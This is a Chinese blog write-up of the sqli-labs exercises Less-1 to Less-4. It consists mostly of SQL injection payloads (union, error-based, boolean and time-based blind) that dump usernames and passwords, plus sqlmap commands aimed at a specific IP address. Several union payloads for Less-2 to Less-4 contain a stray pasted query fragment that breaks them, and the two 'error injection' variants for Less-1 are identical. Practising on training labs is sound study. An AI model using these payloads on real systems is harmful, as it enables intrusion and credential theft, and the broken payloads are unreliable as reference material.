zoukankan      html  css  js  c++  java
  • sqlilab-Less-1-4 测试writeup

    • sqlmap扫描的时候会将缓存的数据记录到output文件下,下次扫描时会直接调用本地缓存的扫描结果。如果我们想删除缓存结果,重新对某网站进行扫描就需要添加--flush-session选项
    • 关于sqlilab的所有题目,其中?id=1 这个数字1可以随意变化,可以是负数,可以是目标不存在的数字等,本例中一般使用?id=-1,sqlmap注入的时候就?id=1

    Less-1 基于GET的显错字符型注入

    手动注入

    联合查询注入
    ?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

    报错注入1 --- 需要手动修改limit+0,1 进行结果偏移
    ?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

    报错注入2 --- 需要手动修改limit+0,1 进行结果偏移
    ?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+

    布尔盲注 --- 数据库第一个字母是s
    ?id=1' and left(database(),1)>'r'--+
    ?id=1' and left(database(),1)>'s'--+

    时间延时注入 --- 数据库第一个字母ascii码是115 就是s
    ?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
    ?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+

    sqlmap注入

    联合查询注入
    python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

    报错注入
    python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

    布尔盲注
    python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-1/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

    参考:https://www.cnblogs.com/autopwn/p/13410694.html --- 手工联合查询注入

    Less-2 基于GET的显错数字型注入

    这里跟Less-1注入方式一样,只需要去掉单引号即可

    手工联合查询注入

    爆库
    ?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    爆表
    ?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    爆users表中的字段
    ?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    爆数据
    ?id=-1 union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+

    ----------------------------------------------------------------------------------------------------------------------------

    手工报错注入
    爆表
    ?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

    爆字段
    ?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

    爆表中的数据
    ?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
    或者
    ?id=-1 and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

    sqlmap注入

    联合查询注入
    python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

    报错注入
    python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

    布尔盲注
    python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-2/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


    Less-3 基于GET的显错单引号变形字符串注入

    这里跟Less-1注入方式一样,不过就是在加个单引号的同时再加个) 进行注入

    手工联合查询注入

    爆库
    ?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    爆表
    ?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    爆users表中的字段
    ?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    爆数据
    ?id=-1') union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+

    ----------------------------------------------------------------------------------------------------------------------------

    手工报错注入
    爆表
    ?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

    爆字段
    ?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

    爆表中的数据
    ?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
    或者
    ?id=-1') and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

    sqlmap注入

    联合查询注入
    python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

    报错注入
    python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

    布尔盲注
    python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-3/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3


    Less-4 基于GET的显错单引号变形字符串注入

    这里跟Less-3注入方式一样,不过就是将单引号改成双引号

    手工联合查询注入

    爆库
    ?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

    爆表
    ?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

    爆users表中的字段
    ?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

    爆数据
    ?id=-1") union SELECT * FROM users WHERE id='-1'union select 1,username,password from users where id=5--+

    ----------------------------------------------------------------------------------------------------------------------------

    手工报错注入
    爆表
    ?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

    爆字段
    ?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

    爆表中的数据
    ?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
    或者
    ?id=-1") and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+

    sqlmap注入

    联合查询注入
    python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=U -v 3

    报错注入
    python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=E -v 3

    布尔盲注
    python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=B -v 3

    时间延时盲注
    python sqlmap.py -u http://106.54.35.126/Less-4/?id=1 --proxy="http://127.0.0.1:8080" --dbms=MySQL --random-agent --flush-session --technique=T -v 3

    推荐:https://www.cnblogs.com/lcamry/category/846064.html

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    【数学水题】【TOJ4113】【 Determine X】
    【(阶乘的质因数分解)算组合数】【TOJ4111】【Binomial efficient】
    【组合数取模进阶中..】
    【转载】【转自AekdyCoin的组合数取模】
    37.es中批量写入数据
    36.爬取柯林斯字字典
    34.django使用jwt
    33.python中的单例模式
    32.爬虫2
    31.爬虫一
  • 原文地址:https://www.cnblogs.com/autopwn/p/13678770.html
Copyright © 2011-2022 走看看